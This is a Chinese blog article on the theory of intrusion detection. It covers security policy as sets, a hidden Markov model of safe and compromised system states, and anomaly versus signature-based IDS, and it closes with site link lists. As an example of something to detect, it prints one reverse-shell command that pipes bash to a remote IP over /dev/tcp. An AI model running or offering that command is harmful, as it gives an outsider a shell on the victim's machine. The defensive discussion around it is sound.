所谓“入侵检测”,顾名思义,就是对入侵行为的发觉。他通过对计算机网络或计算机系统中若干关键点收集信息并对其进行分析,从中发现网络或系统中是否有违反安全策略的行为和被攻击的迹象。”

但实际上,所谓的“违反”和“被攻击”这2个定义,都包含一定的主观性,并且和具体的上下文有关系。因此本文笔者尝试提出建立入侵检测方法论的一些基本准则,在基本准则的指导下应用具体的技术进行具象化实现。

1. 安全策略的描述性定义

首先,开篇明义,安全策略是由具体的人定义的,这个人常常就是计算机的管理员

这里所指的安全策略是一个泛概念,它包括:

  • 网络ACL策略

    • in/out限制
    • 公网开放限制
    • 端口开放限制
  • 进程轮廓(proces profile)
    • 进程白名单:例如docker环境中只允许某一些指纹的进程启动
    • 进程黑名单:例如禁止IIS启动cmd.exe等特定行为
  • 文件轮廓(file profile)
    • 文件/目录完整性监控:例如web根目录或纯代码目录下,在完成版本变更后是不应该有文件变动的
  • 系统配置轮廓(system configuration profile)
    • 注册表完整性监控
    • 自启动项配置完整性监控

2. 集合论视角下的安全策略

将操作系统运行中产生的每个动作都抽象出来,在每一个CPU时钟周期,当前操作系统所处的状态都可以用一个集合O来表示,例如:

  • o1:某某A进程启动了某某B进程
  • ..
  • o5:某某C进程启动了某某D进程
  • ..
  • o8:某某A进程发起了一个网络外连
  • ...
  • on:某某A进程向注册表中添加了一个自启动项

每个集合O代表了一种系统运行状态。

而所谓的”符合安全策略的行为“,可以将其抽象为一组系统运行状态O的集合,

而所谓的“违反安全策略的行为”,可以将其抽象为下列集合,

同时,将整个系统的所有运行状态看成是一个运行状态的超集A,Normal_Strategy是这个超集的一个子集,illegal_Strategy是在全集A下相对Normal_Strategy的差集。

3. 隐马尔科夫链视角下的违反安全策略行为

关于HMM的相关讨论,可以参阅这篇文章

系统的运行天然是一个时序过程,每个CPU时钟可以看成是一个t,借助HMM的视角,我们将系统的运行生命周期抽象为如下HMM过程,

其中,

  • 状态变量 {x1,x2} 表示第 i 时刻的系统状态。通常假定状态变量是隐藏的、不可被观测的,因此状态变量也被称为隐变量(hidden variable)。在入侵检测这个场景下,

    • x1代表安全状态
    • x2代表异常状态
  • 模型在各个隐状态之间的转换概率,称之为状态转移矩阵A,即
    • x1 -> x2:系统从安全状态转移到异常状态,代表发生了入侵行为
    • x2 -> x1:系统从异常状态转移到安全状态,代表病毒和后门得到了清理,漏洞得到了修复,系统行为链重新回到安全状态下
  • 观测变量 {O_1,O_2,....,O_n} 表示第 i 时刻的观测值,这是我们通过各种日志采集技术采集到的系统行为日志,代表了当前系统运行状态
  • 在任一时刻,观测变量 O_i 的取值仅依赖于状态变量 x_i,观察变量 O_i 的取值由发射概率矩阵B确定,与其他状态变量及观测变量的取值无关
  • 初始状态π 代表系统初始化启动时的系统运行状态,在网络安全领域,π等于x1,即安全状态

一般来说,P(x1->x1) 和 P(x2->x2) 的概率要大于 P(x1->x2) 和 P(x2->x1),

这是网络安全场景里的特殊现象,即:

  • 一台机器如果当前处于正常状态,则大概率会长时间保持处于正常状态
  • 一台机器如果已经被入侵了处于异常状态,则大概率会在一段时间窗口内持续保持异常状态,因为病毒的运行、持久化的植入,这些都会不断触发新的异常行为,除非管理员和安全产品主动介入,清理了病毒并修复了漏洞,否则这个状态不会转移
  • 相比之下,从安全状态到异常状态,以及从异常状态到安全状态的概率就相对较低,因为这都属于偶发事件,是因为漏洞被利用了或者管理员介入清理了病毒导致的

所以,本质上说,安全不是一门追求确定性的自然科学,而是一门追求概率性不确定性的统计学科

4. HMM下的预测问题/解码问题(观测序列反推隐藏状态序列)- 入侵检测的马尔科夫理论基础

已知模型和观测序列,求对给定观测序列条件概率最大的隐状态序列,对于安全入侵检测需要就是 I 序列的最后一个状态,即下一跳状态。

0x1:零阶马尔科夫假设(朴素.i.i.d.假设)下的入侵检测

零阶马尔科夫假设是一个强假设条件,也即.i.i.d.假设,即:

即每个隐状态转换之间是彼此独立的,⽽独⽴于其他所有之前的所有状态。

这意味着假设系统每一个隐状态 x_i 都与历史上其他的隐状态 x_i-t 没有任何关系,上一秒处于正常状态还是被入侵状态,对当前状态不提供任何信息。

满足零阶马尔科夫假设(.i.i.d.)条件的异常检测,在入侵检测里被称之为“环境独立型的异常检测(environment independent abnormal detection)”。所谓环境独立,即指和具体所处的上下文没有任何关系,当前系统状态 Oi 就可以提供完整的判断信息(概率似然估计),例如:

  • 恶意病毒检测:基于文件本身的文本判断该病毒的意图,基于静态或者动态机制判断该文件是否具备恶意攻击性
  • 明显黑客意图的系统运行状态:该系统状态本身带有明显的黑客攻击意图,正常管理员,这类异常的检测带有强烈的安全领域知识
    • WEB漏洞被利用远程代码执行:植入指令被Webserver解析并执行,启动了系统指令/进程
    • 提权行为:利用系统漏洞或者系统特性,从非root账户创建root权限的新进程
    • 反弹shell:将系统指令包装器(cmdline wrapper)的输出和输出绑定为网络Socket句柄,在受害者机器和攻击者机器之间建立一条双向交互式命令行会话
      • sh -c bash -i >& /dev/tcp/50.116.3.177/80 0>&1

基于可观察变量 Oi(常常是系统行为日志),可以借助似然估计得到当前系统状态 x_i 的条件概率,

需要注意的是,对于“环境独立性异常检测”来说,不需要事先知道系统原生安全策略或者基线的,因为环境独立型异常的判断和环境上下文没有关系

0x2:二阶及以上高阶马尔科夫假设下的入侵检测

所谓二阶及以上高阶马尔科夫假设下的入侵检测,是指每个隐状态 x_i 都和历史上的1个或更多的状态存在依赖关系。

二阶依赖假设,当前系统隐状态只与前一步隐状态有关

高阶依赖假设的极端情况,当前系统隐状态和历史上所有状态都有关

在网络安全领域,N阶马尔科夫假设非常少见,大部分时候只要考虑2阶马尔科夫假设即可,即:

  • x1->x2:安全状态->异常状态
  • x2->x1:异常状态->安全状态

5. 系统符合安全策略行为集合定义

在甲方企业安全建设中,由于可以通过资产清点与安全策略的预设,最大程度地缩小“符合安全策略的行为集合”的大小,从而预先设定出一个“系统符合安全策略的行为集合”。

建立了这个安全基线之后,之后就可以通过实时的行为监控,将不符合安全策略的行为都筛选出来。

另一方面,在乙方安全能力建设建设中,很多时候是无法准确获得服务器预设的安全策略的,这个时候就需要通过自学习、基线profile等方式来动态地计算服务器的“符合安全策略的行为集合”,但这又往往受限于算力、时效性等方面因素的制约。

6. 乙方能力建设场景中如何判定违反安全策略

在甲方企业安全建设和某些docker环境中,安全基线策略是固定的,判定违反安全策略相对较容易,直接进行diff对比即可。

在乙方安全能力建设场景下,由于很多时候我们无法准确获得系统的初始状态以及精确的安全策略基线。所以仅从单个系统运行状态本身是无法100%断定攻击的,需要进行上下文关联分析,例如

  • 攻击者源IP聚类关联:攻击是一个以发起者驱动的行为结果,需要从发起者的视角来组织和串接整个行为链。例如基于RASP技术,对每个攻击者源IP已经该IP对应的操作行为链进行恶意分析
  • 进程链聚类关联:通过sid/pid-ppid对进程的生命周期进行串联,本质上是通过”升维“的方式,在进程链的层面进行二分类,提高待分类行为样本的线性可分性

7. 入侵检测系统(intrusion detection system,IDS)建设的一般分类

入侵检测系统(IDS)是一种对网络传输进行即时监视,在发现可疑传输时发出警报或采取主动反映措施的网络安全系统。对各种事件进行分析并从中发现违反安全策略的行为是其核心功能。

根据检测方法和安全策略的差异,IDS分为异常入侵检测、误用入侵检测、概率似然入侵检测。我们下面来分别讨论。

0x1:异常入侵检测(基于异常情况的入侵检测)

通过建立正常行为模型来分辨出不符合该模型的行为入侵。典型的正常行为建模方式有:

  1. 人为预定义静态安全策略
  2. 动态窗口区间基线生成
  3. 动态窗口统计异常检测

该方法论的主要着眼点在于先定义一组正常数值以比对是否符合正常,进而阻挡恶意攻击。

0x2:误用入侵检测(基于标志的入侵检测)

建立不可接受的行为模型,凡是符合该模型的即被判定为入侵。该方法论主要着眼于定义违背安全策略的事件的特征来判别攻击,重在维护一个特征知识库,也就是常说的”脏规则“。

笔者注

以上这两种策略各有长短,前者漏报率低、误报率高,后者误报率低、漏报高。在实际工程实践中,后者建议可以优先进行,而前者作为补充。

0x3:概率似然入侵检测

基于贝叶斯概率对长序列的入侵行为链进行危险性的概率性推测。

入侵检测基本准则(Basic principles of intrusion detection)【v1.0】的更多相关文章

  1. 机器学习在入侵检测方面的应用 - 基于ADFA-LD训练集训练入侵检测判别模型

    1. ADFA-LD数据集简介 ADFA-LD数据集是澳大利亚国防学院对外发布的一套主机级入侵检测数据集合,包括Linux和Windows,是一个包含了入侵事件的系统调用syscall序列的数据集(以 ...

  2. 入侵检测工具之RKHunter & AIDE

    一.AIDE AIDE全称为(Adevanced Intrusion Detection Environment)是一个入侵检测工具,主要用于检查文件的完整性,审计系统中的工具是否被更改过. AIDE ...

  3. SNORT入侵检测系统

    SNORT入侵检测系统 YxWa · 2015/10/09 10:38 0x00 一条简单的规则 alert tcp 202.110.8.1 any -> 122.111.90.8 80 (ms ...

  4. 构建基于Suricata+Splunk的IDS入侵检测系统

    一.什么是IDS和IPS? IDS(Intrusion Detection Systems):入侵检测系统,是一种网络安全设备或应用软件,可以依照一定的安全策略,对网络.系统的运行状况进行监视,尽可能 ...

  5. CentOS7下的AIDE入侵检测配置

    一.AIDE的概念 AIDE:Advanced Intrusion Detection Environment,是一款入侵检测工具,主要用途是检查文档的完整性.AIDE在本地构造了一个基准的数据库,一 ...

  6. AIDE入侵检测系统

    一.AIDE简介 • AIDE(Advanced Intrusion Detection Environment)• 高级入侵检测环境)是一个入侵检测工具,主要用途是检查文件的完整性,审计计算机上的那 ...

  7. Linux 上搭建 Snort+BASE 入侵检测系统

    配置实验环境 由于本人电脑的存储空间不足,无法再承担安装一个虚拟机的开销,因此在阿里云上申请了一个云服务器进行本次实验.服务器配置如下: 1 核 - 2GB 内存 - 40GB 系统盘 操作系统:Ub ...

  8. IDS入侵检测系统

    目录 IDS入侵检测系统 入侵检测系统的作用 入侵检测系统功能 入侵检测系统的分类 入侵检测系统的架构 入侵检测工作过程 数据检测技术 误用检测 异常检测 IDS的部署 基于网络的IDS 基于主机的I ...

  9. 入侵检测课设之Libnids开发包

    Libnids开发包介绍     Libnids是一个用于网络入侵检测开发的专业编程接口,它使用了Libpcap所以它具有捕获数据包的功能.同时,Libnids提供了TCP数据流重组功能,所以对于分析 ...

随机推荐

  1. Java类成员之代码块

    代码块含义:使用{ }括起来的代码 代码块类型: 1.局部代码块:定义在方法体中. 2.构造代码块:也叫初始化代码块,定义在类中方法体之外. 3.静态代码块:定义在类中方法体之外,被static修饰符 ...

  2. vue学习--组件之间的传值方式

    1.概述 vue由多个组件构成页面,在不同的组件中有不同的联系,组件之间的传值是十分有必要的 2.父子组件之间传值 --props和$emit 父传子:通过props 方法:子组件:props:['m ...

  3. Java小白集合源码的学习系列:LinkedList

    目录 LinkedList 源码学习 LinkedList继承体系 LinkedList核心源码 Deque相关操作 总结 LinkedList 源码学习 前文传送门:Java小白集合源码的学习系列: ...

  4. 12.Android-SQLiteOpenHelper使用

    1.SQLite介绍 SQLite,是一款轻型的数据库,它的优缺点有如下: 轻量级,适合嵌入式设备,并且本身不依赖第三方的软件,使用它也不需要“安装”. 并发(包括多进程和多线程)读写方面的性能不太理 ...

  5. 如何设计一个优雅的RESTFUL的接口

    show me the code and talk to me,做的出来更要说的明白 我是布尔bl,你的支持是我分享的动力! 一 .引入 设计接口是我们开发人员的日常操作.当我们把接口交给前端人员时, ...

  6. 安装anaconda python时只能安装到默认文件夹&& 安装提示文件夹以存在问题

    这个问题困扰了两次,网上说可以,我就是不行,查了半天没找到解决方法, 后来装在C盘里, 之后在百度知道(ID:幸福999快乐)发现解决办法后来才发现问题. 在安装的时候,要安装的目标文件夹不需要先在安 ...

  7. java架构之路(多线程)原子操作,Atomic与Unsafe魔术类

    这次不讲原理了,主要是一些应用方面的知识,和上几次的JUC并发编程的知识点更容易理解. 知识回顾: 上次主要说了Semaphore信号量的使用,就是一个票据的使用,我们举例了看3D电影拿3D眼镜的例子 ...

  8. node--->PHPStorm 停留在 Scanning files to index..

    使用webpack时,敲了npm 一些命令后,PHPStorm 开始 Scanning files to index...,去建立文件索引,但是如果一直停留在这个状态,说明是npm install 后 ...

  9. Git详解之服务部署

    前言 到目前为止,你应该已经学会了使用 Git 来完成日常工作.然而,如果想与他人合作,还需要一个远程的 Git 仓库.尽管技术上可以从个人的仓库里推送和拉取修改内容,但我们不鼓励这样做,因为一不留心 ...

  10. C语言创建文件夹

    问题需求:在程序中需要使用文件夹时,一般可以先在程序目录或某一路径下创建一个文件夹,然后使用该文件夹. 这种方法比较麻烦,需提前创建文件夹. 使用C语言创建文件夹的代码可以如下: #include & ...